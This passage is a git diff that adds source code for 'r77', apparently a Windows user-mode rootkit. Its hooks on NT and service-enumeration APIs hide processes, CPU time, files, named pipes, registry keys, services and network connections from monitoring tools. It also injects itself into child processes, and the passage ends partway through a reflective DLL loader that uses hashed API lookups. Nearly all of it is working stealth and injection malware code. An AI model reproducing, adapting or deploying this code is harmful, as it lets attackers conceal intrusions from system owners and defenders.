+ performanceInformation->IdleTime.QuadPart += (hiddenKernelTime.QuadPart + hiddenUserTime.QuadPart) / numberOfProcessors;
+ }
+ }
+ }
+ // Hide CPU usage
+ else if (systemInformationClass == SystemProcessorIdleCycleTimeInformation)
+ {
+ // ProcessHacker graph for all CPU's
+ LONGLONG hiddenCycleTime = 0;
+ if (GetProcessHiddenTimes(NULL, NULL, &hiddenCycleTime))
+ {
+ ULONG numberOfProcessors = newReturnLength / sizeof(LARGE_INTEGER);
+ for (ULONG i = 0; i < numberOfProcessors; i++)
+ {
+ ((PLARGE_INTEGER)systemInformation)[i].QuadPart += hiddenCycleTime / numberOfProcessors;
+ }
+ }
+ }
+ }
+
+ return status;
+}
+static NTSTATUS NTAPI HookedNtResumeThread(HANDLE thread, PULONG suspendCount)
+{
+ // Child process hooking:
+ // When a process is created, its parent process calls NtResumeThread to start the new process after process creation is completed.
+ // At this point, the process is suspended and should be injected. After injection is completed, NtResumeThread should be called.
+ // To inject the process, a connection to the r77 service is performed through a named pipe.
+ // Because a 32-bit process can create a 64-bit child process, or vice versa, injection cannot be performed here.
+
+ DWORD processId = GetProcessIdOfThread(thread);
+ if (processId != GetCurrentProcessId()) // If NtResumeThread is called on this process, it is not a child process
+ {
+ BOOL is64Bit;
+ if (Is64BitProcess(processId, &is64Bit))
+ {
+ // Call either the 32-bit or the 64-bit r77 service and pass the process ID.
+ HANDLE pipe = CreateFileW(is64Bit ? CHILD_PROCESS_PIPE_NAME64 : CHILD_PROCESS_PIPE_NAME32, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
+ if (pipe != INVALID_HANDLE_VALUE)
+ {
+ // Send the process ID to the r77 service.
+ DWORD bytesWritten;
+ WriteFile(pipe, &processId, sizeof(DWORD), &bytesWritten, NULL);
+
+ // Wait for the response. NtResumeThread should be called after r77 is injected.
+ BYTE returnValue;
+ DWORD bytesRead;
+ ReadFile(pipe, &returnValue, sizeof(BYTE), &bytesRead, NULL);
+
+ CloseHandle(pipe);
+ }
+ }
+ }
+
+ // This function returns, *after* injection is completed.
+ return OriginalNtResumeThread(thread, suspendCount);
+}
+static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan)
+{
+ NTSTATUS status = OriginalNtQueryDirectoryFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, returnSingleEntry, fileName, restartScan);
+
+ // Hide files, directories and named pipes
+ if (NT_SUCCESS(status) && (fileInformationClass == FileDirectoryInformation || fileInformationClass == FileFullDirectoryInformation || fileInformationClass == FileIdFullDirectoryInformation || fileInformationClass == FileBothDirectoryInformation || fileInformationClass == FileIdBothDirectoryInformation || fileInformationClass == FileNamesInformation))
+ {
+ LPVOID current = fileInformation;
+ LPVOID previous = NULL;
+ ULONG nextEntryOffset;
+
+ WCHAR fileDirectoryPath[MAX_PATH + 1] = { 0 };
+ WCHAR fileFileName[MAX_PATH + 1] = { 0 };
+ WCHAR fileFullPath[MAX_PATH + 1] = { 0 };
+
+ if (GetFileType(fileHandle) == FILE_TYPE_PIPE) lstrcpyW(fileDirectoryPath, L"\\\\.\\pipe\\");
+ else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH);
+
+ do
+ {
+ nextEntryOffset = FileInformationGetNextEntryOffset(current, fileInformationClass);
+
+ if (HasPrefix(FileInformationGetName(current, fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(current, fileInformationClass, fileFileName))))
+ {
+ if (nextEntryOffset)
+ {
+ RtlCopyMemory
+ (
+ current,
+ (LPBYTE)current + nextEntryOffset,
+ (ULONG)(length - ((ULONGLONG)current - (ULONGLONG)fileInformation) - nextEntryOffset)
+ );
+ continue;
+ }
+ else
+ {
+ if (current == fileInformation) status = STATUS_NO_MORE_FILES;
+ else FileInformationSetNextEntryOffset(previous, fileInformationClass, 0);
+ break;
+ }
+ }
+
+ previous = current;
+ current = (LPBYTE)current + nextEntryOffset;
+ }
+ while (nextEntryOffset);
+ }
+
+ return status;
+}
+static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName)
+{
+ NTSTATUS status = OriginalNtQueryDirectoryFileEx(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, queryFlags, fileName);
+
+ // Hide files, directories and named pipes
+ // Some applications (e.g. cmd.exe) use NtQueryDirectoryFileEx instead of NtQueryDirectoryFile.
+ if (NT_SUCCESS(status) && (fileInformationClass == FileDirectoryInformation || fileInformationClass == FileFullDirectoryInformation || fileInformationClass == FileIdFullDirectoryInformation || fileInformationClass == FileBothDirectoryInformation || fileInformationClass == FileIdBothDirectoryInformation || fileInformationClass == FileNamesInformation))
+ {
+ WCHAR fileDirectoryPath[MAX_PATH + 1] = { 0 };
+ WCHAR fileFileName[MAX_PATH + 1] = { 0 };
+ WCHAR fileFullPath[MAX_PATH + 1] = { 0 };
+
+ if (GetFileType(fileHandle) == FILE_TYPE_PIPE) lstrcpyW(fileDirectoryPath, L"\\\\.\\pipe\\");
+ else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH);
+
+ if (queryFlags & SL_RETURN_SINGLE_ENTRY)
+ {
+ // When returning a single entry, skip until the first item is found that is not hidden.
+ for (BOOL skip = HasPrefix(FileInformationGetName(fileInformation, fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass, fileFileName))); skip; skip = HasPrefix(FileInformationGetName(fileInformation, fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass, fileFileName))))
+ {
+ status = OriginalNtQueryDirectoryFileEx(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, queryFlags, fileName);
+ if (status) break;
+ }
+ }
+ else
+ {
+ LPVOID current = fileInformation;
+ LPVOID previous = NULL;
+ ULONG nextEntryOffset;
+
+ do
+ {
+ nextEntryOffset = FileInformationGetNextEntryOffset(current, fileInformationClass);
+
+ if (HasPrefix(FileInformationGetName(current, fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(current, fileInformationClass, fileFileName))))
+ {
+ if (nextEntryOffset)
+ {
+ RtlCopyMemory
+ (
+ current,
+ (LPBYTE)current + nextEntryOffset,
+ (ULONG)(length - ((ULONGLONG)current - (ULONGLONG)fileInformation) - nextEntryOffset)
+ );
+ continue;
+ }
+ else
+ {
+ if (current == fileInformation) status = STATUS_NO_MORE_FILES;
+ else FileInformationSetNextEntryOffset(previous, fileInformationClass, 0);
+ break;
+ }
+ }
+
+ previous = current;
+ current = (LPBYTE)current + nextEntryOffset;
+ }
+ while (nextEntryOffset);
+ }
+ }
+
+ return status;
+}
+static NTSTATUS NTAPI HookedNtEnumerateKey(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength)
+{
+ NTSTATUS status = OriginalNtEnumerateKey(key, index, keyInformationClass, keyInformation, keyInformationLength, resultLength);
+
+ // Implement hiding of registry keys by correcting the index in NtEnumerateKey.
+ if (status == ERROR_SUCCESS && (keyInformationClass == KeyBasicInformation || keyInformationClass == KeyNameInformation))
+ {
+ for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++)
+ {
+ status = OriginalNtEnumerateKey(key, i, keyInformationClass, keyInformation, keyInformationLength, resultLength);
+
+ if (!HasPrefix(KeyInformationGetName(keyInformation, keyInformationClass)))
+ {
+ newIndex++;
+ }
+ }
+ }
+
+ return status;
+}
+static NTSTATUS NTAPI HookedNtEnumerateValueKey(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength)
+{
+ NTSTATUS status = OriginalNtEnumerateValueKey(key, index, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);
+
+ // Implement hiding of registry values by correcting the index in NtEnumerateValueKey.
+ if (status == ERROR_SUCCESS && (keyValueInformationClass == KeyValueBasicInformation || keyValueInformationClass == KeyValueFullInformation))
+ {
+ for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++)
+ {
+ status = OriginalNtEnumerateValueKey(key, i, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);
+
+ if (!HasPrefix(KeyValueInformationGetName(keyValueInformation, keyValueInformationClass)))
+ {
+ newIndex++;
+ }
+ }
+ }
+
+ return status;
+}
+static BOOL WINAPI HookedEnumServiceGroupW(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved)
+{
+ // services.msc
+ BOOL result = OriginalEnumServiceGroupW(serviceManager, serviceType, serviceState, services, servicesLength, bytesNeeded, servicesReturned, resumeHandle, reserved);
+
+ if (result && services && servicesReturned)
+ {
+ FilterEnumServiceStatus((LPENUM_SERVICE_STATUSW)services, servicesReturned);
+ }
+
+ return result;
+}
+static BOOL WINAPI HookedEnumServicesStatusExW(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName)
+{
+ // TaskMgr (Windows 7), ProcessHacker
+ BOOL result = OriginalEnumServicesStatusExW(serviceManager, infoLevel, serviceType, serviceState, services, servicesLength, bytesNeeded, servicesReturned, resumeHandle, groupName);
+
+ if (result && services && servicesReturned)
+ {
+ FilterEnumServiceStatusProcess((LPENUM_SERVICE_STATUS_PROCESSW)services, servicesReturned);
+ }
+
+ return result;
+}
+static BOOL WINAPI HookedEnumServicesStatusExW2(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName)
+{
+ // TaskMgr (Windows 10 uses sechost.dll instead of advapi32.dll)
+ BOOL result = OriginalEnumServicesStatusExW2(serviceManager, infoLevel, serviceType, serviceState, services, servicesLength, bytesNeeded, servicesReturned, resumeHandle, groupName);
+
+ if (result && services && servicesReturned)
+ {
+ FilterEnumServiceStatusProcess((LPENUM_SERVICE_STATUS_PROCESSW)services, servicesReturned);
+ }
+
+ return result;
+}
+static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength)
+{
+ NTSTATUS status = OriginalNtDeviceIoControlFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, ioControlCode, inputBuffer, inputBufferLength, outputBuffer, outputBufferLength);
+
+ if (NT_SUCCESS(status))
+ {
+ // Hide TCP and UDP entries
+ if (ioControlCode == IOCTL_NSI_GETALLPARAM && outputBuffer && outputBufferLength == sizeof(NT_NSI_PARAM))
+ {
+ // Check, if the device is "\Device\Nsi"
+ BYTE deviceName[500];
+ if (NT_SUCCESS(NtQueryObject2(fileHandle, ObjectNameInformation, deviceName, 500, NULL)) &&
+ !StrCmpNIW(DEVICE_NSI, ((PUNICODE_STRING)deviceName)->Buffer, sizeof(DEVICE_NSI) / sizeof(WCHAR)))
+ {
+ PNT_NSI_PARAM nsiParam = (PNT_NSI_PARAM)outputBuffer;
+ if (nsiParam->Entries && (nsiParam->Type == NsiTcp || nsiParam->Type == NsiUdp))
+ {
+ // The status and process table may be NULL and must be checked.
+ PNT_NSI_TCP_ENTRY tcpEntries = (PNT_NSI_TCP_ENTRY)nsiParam->Entries;
+ PNT_NSI_UDP_ENTRY udpEntries = (PNT_NSI_UDP_ENTRY)nsiParam->Entries;
+ PNT_NSI_STATUS_ENTRY statusEntries = (PNT_NSI_STATUS_ENTRY)nsiParam->StatusEntries;
+ PNT_NSI_PROCESS_ENTRY processEntries = (PNT_NSI_PROCESS_ENTRY)nsiParam->ProcessEntries;
+
+ WCHAR processName[MAX_PATH + 1];
+
+ for (DWORD i = 0; i < nsiParam->Count; i++)
+ {
+ processName[0] = L'\0';
+
+ BOOL hidden = FALSE;
+ if (nsiParam->Type == NsiTcp)
+ {
+ if (processEntries) GetProcessFileName(processEntries[i].TcpProcessId, FALSE, processName, MAX_PATH);
+
+ hidden =
+ IsTcpLocalPortHidden(_byteswap_ushort(tcpEntries[i].Local.Port)) ||
+ IsTcpRemotePortHidden(_byteswap_ushort(tcpEntries[i].Remote.Port)) ||
+ processEntries && IsProcessIdHidden(processEntries[i].TcpProcessId) ||
+ IsProcessNameHidden(processName) ||
+ HasPrefix(processName);
+ }
+ else if (nsiParam->Type == NsiUdp)
+ {
+ if (processEntries) GetProcessFileName(processEntries[i].UdpProcessId, FALSE, processName, MAX_PATH);
+
+ hidden =
+ IsUdpPortHidden(_byteswap_ushort(udpEntries[i].Port)) ||
+ processEntries && IsProcessIdHidden(processEntries[i].UdpProcessId) ||
+ IsProcessNameHidden(processName) ||
+ HasPrefix(processName);
+ }
+
+ // If hidden, move all following entries up by one and decrease count.
+ if (hidden)
+ {
+ if (i < nsiParam->Count - 1)
+ {
+ if (nsiParam->Type == NsiTcp)
+ {
+ RtlMoveMemory(&tcpEntries[i], &tcpEntries[i + 1], (nsiParam->Count - i - 1) * nsiParam->EntrySize);
+ }
+ else if (nsiParam->Type == NsiUdp)
+ {
+ RtlMoveMemory(&udpEntries[i], &udpEntries[i + 1], (nsiParam->Count - i - 1) * nsiParam->EntrySize);
+ }
+
+ if (statusEntries) RtlMoveMemory(&statusEntries[i], &statusEntries[i + 1], (nsiParam->Count - i - 1) * sizeof(NT_NSI_STATUS_ENTRY));
+ if (processEntries) RtlMoveMemory(&processEntries[i], &processEntries[i + 1], (nsiParam->Count - i - 1) * nsiParam->ProcessEntrySize);
+ }
+
+ nsiParam->Count--;
+ i--;
+ }
+ }
+ }
+ }
+ }
+ }
+
+ return status;
+}
+
+static BOOL GetProcessHiddenTimes(PLARGE_INTEGER hiddenKernelTime, PLARGE_INTEGER hiddenUserTime, PLONGLONG hiddenCycleTime)
+{
+ // Count hidden CPU usage explicitly instead of waiting for a call to NtQuerySystemInformation(SystemProcessInformation).
+ // Task managers call NtQuerySystemInformation(SystemProcessInformation) also, but not necessarily in a matching frequency.
+
+ BOOL result = FALSE;
+ LPBYTE systemInformation = NEW_ARRAY(BYTE, 1024 * 1024 * 2);
+ ULONG returnLength;
+
+ if (NT_SUCCESS(OriginalNtQuerySystemInformation(SystemProcessInformation, systemInformation, 1024 * 1024 * 2, &returnLength)))
+ {
+ if (hiddenKernelTime) hiddenKernelTime->QuadPart = 0;
+ if (hiddenUserTime) hiddenUserTime->QuadPart = 0;
+ if (hiddenCycleTime) *hiddenCycleTime = 0;
+
+ for (PNT_SYSTEM_PROCESS_INFORMATION current = (PNT_SYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;)
+ {
+ if (HasPrefixU(current->ImageName) || IsProcessIdHidden((DWORD)(DWORD_PTR)current->ProcessId) || IsProcessNameHiddenU(current->ImageName))
+ {
+ if (hiddenKernelTime) hiddenKernelTime->QuadPart += current->KernelTime.QuadPart;
+ if (hiddenUserTime) hiddenUserTime->QuadPart += current->UserTime.QuadPart;
+ if (hiddenCycleTime) *hiddenCycleTime += current->CycleTime;
+ }
+
+ previous = current;
+
+ if (current->NextEntryOffset) current = (PNT_SYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset);
+ else current = NULL;
+ }
+
+ result = TRUE;
+ }
+
+ FREE(systemInformation);
+ return result;
+}
+static LPWSTR CreatePath(LPWSTR result, LPCWSTR directoryName, LPCWSTR fileName)
+{
+ // PathCombineW cannot be used with the directory name "\\.\pipe\".
+ if (!StrCmpIW(directoryName, L"\\\\.\\pipe\\"))
+ {
+ lstrcpyW(result, directoryName);
+ lstrcatW(result, fileName);
+ return result;
+ }
+ else
+ {
+ return PathCombineW(result, directoryName, fileName);
+ }
+}
+static LPWSTR FileInformationGetName(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass, LPWSTR name)
+{
+ PWCHAR fileName = NULL;
+ ULONG fileNameLength = 0;
+
+ switch (fileInformationClass)
+ {
+ case FileDirectoryInformation:
+ fileName = ((PNT_FILE_DIRECTORY_INFORMATION)fileInformation)->FileName;
+ fileNameLength = ((PNT_FILE_DIRECTORY_INFORMATION)fileInformation)->FileNameLength;
+ break;
+ case FileFullDirectoryInformation:
+ fileName = ((PNT_FILE_FULL_DIR_INFORMATION)fileInformation)->FileName;
+ fileNameLength = ((PNT_FILE_FULL_DIR_INFORMATION)fileInformation)->FileNameLength;
+ break;
+ case FileIdFullDirectoryInformation:
+ fileName = ((PNT_FILE_ID_FULL_DIR_INFORMATION)fileInformation)->FileName;
+ fileNameLength = ((PNT_FILE_ID_FULL_DIR_INFORMATION)fileInformation)->FileNameLength;
+ break;
+ case FileBothDirectoryInformation:
+ fileName = ((PNT_FILE_BOTH_DIR_INFORMATION)fileInformation)->FileName;
+ fileNameLength = ((PNT_FILE_BOTH_DIR_INFORMATION)fileInformation)->FileNameLength;
+ break;
+ case FileIdBothDirectoryInformation:
+ fileName = ((PNT_FILE_ID_BOTH_DIR_INFORMATION)fileInformation)->FileName;
+ fileNameLength = ((PNT_FILE_ID_BOTH_DIR_INFORMATION)fileInformation)->FileNameLength;
+ break;
+ case FileNamesInformation:
+ fileName = ((PNT_FILE_NAMES_INFORMATION)fileInformation)->FileName;
+ fileNameLength = ((PNT_FILE_NAMES_INFORMATION)fileInformation)->FileNameLength;
+ break;
+ }
+
+ if (fileName && fileNameLength > 0)
+ {
+ wmemcpy(name, fileName, fileNameLength / sizeof(WCHAR));
+ name[fileNameLength / sizeof(WCHAR)] = L'\0';
+ return name;
+ }
+ else
+ {
+ return NULL;
+ }
+}
+static ULONG FileInformationGetNextEntryOffset(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass)
+{
+ switch (fileInformationClass)
+ {
+ case FileDirectoryInformation:
+ return ((PNT_FILE_DIRECTORY_INFORMATION)fileInformation)->NextEntryOffset;
+ case FileFullDirectoryInformation:
+ return ((PNT_FILE_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset;
+ case FileIdFullDirectoryInformation:
+ return ((PNT_FILE_ID_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset;
+ case FileBothDirectoryInformation:
+ return ((PNT_FILE_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset;
+ case FileIdBothDirectoryInformation:
+ return ((PNT_FILE_ID_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset;
+ case FileNamesInformation:
+ return ((PNT_FILE_NAMES_INFORMATION)fileInformation)->NextEntryOffset;
+ default:
+ return 0;
+ }
+}
+static VOID FileInformationSetNextEntryOffset(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass, ULONG value)
+{
+ switch (fileInformationClass)
+ {
+ case FileDirectoryInformation:
+ ((PNT_FILE_DIRECTORY_INFORMATION)fileInformation)->NextEntryOffset = value;
+ break;
+ case FileFullDirectoryInformation:
+ ((PNT_FILE_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset = value;
+ break;
+ case FileIdFullDirectoryInformation:
+ ((PNT_FILE_ID_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset = value;
+ break;
+ case FileBothDirectoryInformation:
+ ((PNT_FILE_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset = value;
+ break;
+ case FileIdBothDirectoryInformation:
+ ((PNT_FILE_ID_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset = value;
+ break;
+ case FileNamesInformation:
+ ((PNT_FILE_NAMES_INFORMATION)fileInformation)->NextEntryOffset = value;
+ break;
+ }
+}
+static PWCHAR KeyInformationGetName(LPVOID keyInformation, NT_KEY_INFORMATION_CLASS keyInformationClass)
+{
+ switch (keyInformationClass)
+ {
+ case KeyBasicInformation:
+ return ((PNT_KEY_BASIC_INFORMATION)keyInformation)->Name;
+ case KeyNameInformation:
+ return ((PNT_KEY_NAME_INFORMATION)keyInformation)->Name;
+ default:
+ return NULL;
+ }
+}
+static PWCHAR KeyValueInformationGetName(LPVOID keyValueInformation, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass)
+{
+ switch (keyValueInformationClass)
+ {
+ case KeyValueBasicInformation:
+ return ((PNT_KEY_VALUE_BASIC_INFORMATION)keyValueInformation)->Name;
+ case KeyValueFullInformation:
+ return ((PNT_KEY_VALUE_FULL_INFORMATION)keyValueInformation)->Name;
+ default:
+ return NULL;
+ }
+}
+static VOID FilterEnumServiceStatus(LPENUM_SERVICE_STATUSW services, LPDWORD servicesReturned)
+{
+ for (DWORD i = 0; i < *servicesReturned; i++)
+ {
+ // If hidden, move all following entries up by one and decrease count.
+ if (HasPrefix(services[i].lpServiceName) ||
+ HasPrefix(services[i].lpDisplayName) ||
+ IsServiceNameHidden(services[i].lpServiceName) ||
+ IsServiceNameHidden(services[i].lpDisplayName))
+ {
+ RtlMoveMemory(&services[i], &services[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUSW));
+ (*servicesReturned)--;
+ i--;
+ }
+ }
+}
+static VOID FilterEnumServiceStatusProcess(LPENUM_SERVICE_STATUS_PROCESSW services, LPDWORD servicesReturned)
+{
+ for (DWORD i = 0; i < *servicesReturned; i++)
+ {
+ // If hidden, move all following entries up by one and decrease count.
+ if (HasPrefix(services[i].lpServiceName) ||
+ HasPrefix(services[i].lpDisplayName) ||
+ IsServiceNameHidden(services[i].lpServiceName) ||
+ IsServiceNameHidden(services[i].lpDisplayName))
+ {
+ RtlMoveMemory(&services[i], &services[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUS_PROCESSW));
+ (*servicesReturned)--;
+ i--;
+ }
+ }
+}
\ No newline at end of file
diff --git a/r77/Hooks.h b/r77/Hooks.h
new file mode 100644
index 0000000..72638de
--- /dev/null
+++ b/r77/Hooks.h
@@ -0,0 +1,50 @@
+#include "r77mindef.h"
+#include "ntdll.h"
+#ifndef _HOOKS_H
+#define _HOOKS_H
+
+static NT_NTQUERYSYSTEMINFORMATION OriginalNtQuerySystemInformation;
+static NT_NTRESUMETHREAD OriginalNtResumeThread;
+static NT_NTQUERYDIRECTORYFILE OriginalNtQueryDirectoryFile;
+static NT_NTQUERYDIRECTORYFILEEX OriginalNtQueryDirectoryFileEx;
+static NT_NTENUMERATEKEY OriginalNtEnumerateKey;
+static NT_NTENUMERATEVALUEKEY OriginalNtEnumerateValueKey;
+static NT_ENUMSERVICEGROUPW OriginalEnumServiceGroupW;
+static NT_ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW;
+static NT_ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW2;
+static NT_NTDEVICEIOCONTROLFILE OriginalNtDeviceIoControlFile;
+
+///
+/// Attaches hooks to r77 specific API's.
+///
+VOID InitializeHooks();
+///
+/// Detaches all hooks.
+///
+VOID UninitializeHooks();
+
+static VOID InstallHook(LPCSTR dll, LPCSTR function, LPVOID *originalFunction, LPVOID hookedFunction);
+static VOID UninstallHook(LPVOID originalFunction, LPVOID hookedFunction);
+
+static NTSTATUS NTAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength);
+static NTSTATUS NTAPI HookedNtResumeThread(HANDLE thread, PULONG suspendCount);
+static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan);
+static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName);
+static NTSTATUS NTAPI HookedNtEnumerateKey(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength);
+static NTSTATUS NTAPI HookedNtEnumerateValueKey(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength);
+static BOOL WINAPI HookedEnumServiceGroupW(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved);
+static BOOL WINAPI HookedEnumServicesStatusExW(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName);
+static BOOL WINAPI HookedEnumServicesStatusExW2(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName);
+static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength);
+
+static BOOL GetProcessHiddenTimes(PLARGE_INTEGER hiddenKernelTime, PLARGE_INTEGER hiddenUserTime, PLONGLONG hiddenCycleTime);
+static LPWSTR CreatePath(LPWSTR result, LPCWSTR directoryName, LPCWSTR fileName);
+static LPWSTR FileInformationGetName(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass, LPWSTR name);
+static ULONG FileInformationGetNextEntryOffset(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass);
+static VOID FileInformationSetNextEntryOffset(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass, ULONG value);
+static PWCHAR KeyInformationGetName(LPVOID keyInformation, NT_KEY_INFORMATION_CLASS keyInformationClass);
+static PWCHAR KeyValueInformationGetName(LPVOID keyValueInformation, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass);
+static VOID FilterEnumServiceStatus(LPENUM_SERVICE_STATUSW services, LPDWORD servicesReturned);
+static VOID FilterEnumServiceStatusProcess(LPENUM_SERVICE_STATUS_PROCESSW services, LPDWORD servicesReturned);
+
+#endif
\ No newline at end of file
diff --git a/r77/ReflectiveDllMain.c b/r77/ReflectiveDllMain.c
new file mode 100644
index 0000000..2bb0ff8
--- /dev/null
+++ b/r77/ReflectiveDllMain.c
@@ -0,0 +1,103 @@
+#include "ReflectiveDllMain.h"
+#include "ntdll.h"
+#include "r77win.h"
+#include "r77runtime.h"
+
+BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase)
+{
+ // All functions that are used in the reflective loader must be found by searching the PEB.
+ // Functions, such as memcpy need to be handwritten, because no functions are imported, yet.
+ // Switch statements cannot be used, because a jump table would be created and the shellcode would not be position independent anymore.
+
+ NT_NTFLUSHINSTRUCTIONCACHE ntFlushInstructionCache = (NT_NTFLUSHINSTRUCTIONCACHE)PebGetProcAddress(0x3cfa685d, 0x534c0ab8);
+ NT_LOADLIBRARYA loadLibraryA = (NT_LOADLIBRARYA)PebGetProcAddress(0x6a4abc5b, 0xec0e4e8e);
+ NT_GETPROCADDRESS getProcAddress = (NT_GETPROCADDRESS)PebGetProcAddress(0x6a4abc5b, 0x7c0dfcaa);
+ NT_VIRTUALALLOC virtualAlloc = (NT_VIRTUALALLOC)PebGetProcAddress(0x6a4abc5b, 0x91afca54);
+
+ // Safety check: Continue only, if all functions were found.
+ if (ntFlushInstructionCache && loadLibraryA && getProcAddress && virtualAlloc)
+ {
+ PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew);
+
+ // Allocate memory for the DLL.
+ LPBYTE allocatedMemory = (LPBYTE)virtualAlloc(NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+ if (allocatedMemory)
+ {
+ // Copy optional header to new memory.
+ libc_memcpy(allocatedMemory, dllBase, ntHeaders->OptionalHeader.SizeOfHeaders);
+
+ // Copy sections to new memory.
